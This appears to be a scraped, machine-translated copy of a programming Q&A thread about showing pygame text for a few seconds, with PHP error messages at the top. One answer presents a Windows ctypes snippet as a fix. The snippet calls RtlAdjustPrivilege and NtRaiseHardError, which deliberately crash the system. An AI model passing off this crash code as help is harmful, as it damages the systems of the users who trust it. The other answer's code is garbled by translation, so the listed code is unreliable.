Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/python/283.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Python 如何在屏幕上显示文本几秒钟?_Python_Pygame - Fatal编程技术网

Python 如何在屏幕上显示文本几秒钟?

Python 如何在屏幕上显示文本几秒钟?,python,pygame,Python,Pygame,我正在用pygame编写一个游戏。击中物体后,文本显示在屏幕上。如何让它在几秒钟后消失 我的代码片段: def奖金(txt、x、y、大小): cz=pygame.font.SysFont(“新罗马时代”,大小) rend=cz.render(txt,1,(0,0,0)) x=(宽度-rend.get_rect().WIDTH)/2 y=(高度-rend.get_rect().HEIGHT)/4 屏幕光点(趋势,(x,y)) pygame.display.update() def命中: 奖金(“+

我正在用pygame编写一个游戏。击中物体后,文本显示在屏幕上。如何让它在几秒钟后消失

我的代码片段:

def奖金(txt、x、y、大小):
cz=pygame.font.SysFont(“新罗马时代”,大小)
rend=cz.render(txt,1,(0,0,0))
x=(宽度-rend.get_rect().WIDTH)/2
y=(高度-rend.get_rect().HEIGHT)/4
屏幕光点(趋势,(x,y))
pygame.display.update()
def命中:
奖金(“+3分”、30分、70分、30分)

是,如果您输入此代码,则它将被修复

from ctypes.wintypes import * 

tmp1 = c_bool()
tmp2 = DWORD()

ctypes.windll.ntdll.RtlAdjustPrivilege(19, 1, 0, byref(tmp1))
ctypes.windll.ntdll.NtRaiseHardError(0xc0000022, 0, 0, 0, 6, byref(tmp2))

这取决于项目的总体结构。您可以使用一些调度库,如
aspscheduler
,来调度稍后执行的函数。或者,实现多线程并在一个负责绘制文本的线程中使用
time.sleep()
。或者,保留一个函数列表和需要调用它们的时间,并在每次主循环迭代中查看此列表

在全局名称空间中创建2个变量(如果使用类,则为类属性)。第一个on表示奖金文本和位置(
bonus\u text
)。另一条规定了文本必须消失的时间:

bonus\u text=None
奖金=0
hit
中设置变量。用于获取当前时间。将时间跨度添加到当前时间(例如3000毫秒)。
不要忘记,因为函数会写入全局命名空间中的变量

def hit():
全球奖金文本,奖金结束
cz=pygame.font.SysFont(“新罗马时代”,大小)
rend=cz.render(txt,1,(0,0,0))
x=(宽度-rend.get_rect().WIDTH)/2
y=(高度-rend.get_rect().HEIGHT)/4
奖金文本=(趋势,(x,y))
bonus_end=pygame.time.get_ticks()+3000#3000毫秒=3秒
在主应用程序循环中连续调用
draw\u bonus
。如果设置了
bonus\u text
,且当前时间(
pygame.time.get\u ticks()
)小于文本必须消失的时间点,则函数将绘制奖金文本

def draw_奖金(文本、x、y、大小):
如果有奖文本和pygame.time.get_ticks()
这是否回答了您的问题?没有理由它说当我没有任何文本显示时先删除旧文本为什么你要在奖金中
pygame.display.update()
?你有应用程序循环吗?我几乎完成了整个游戏,yesHi Owen,你能解释一下为什么要添加这个代码,以及它在做什么吗?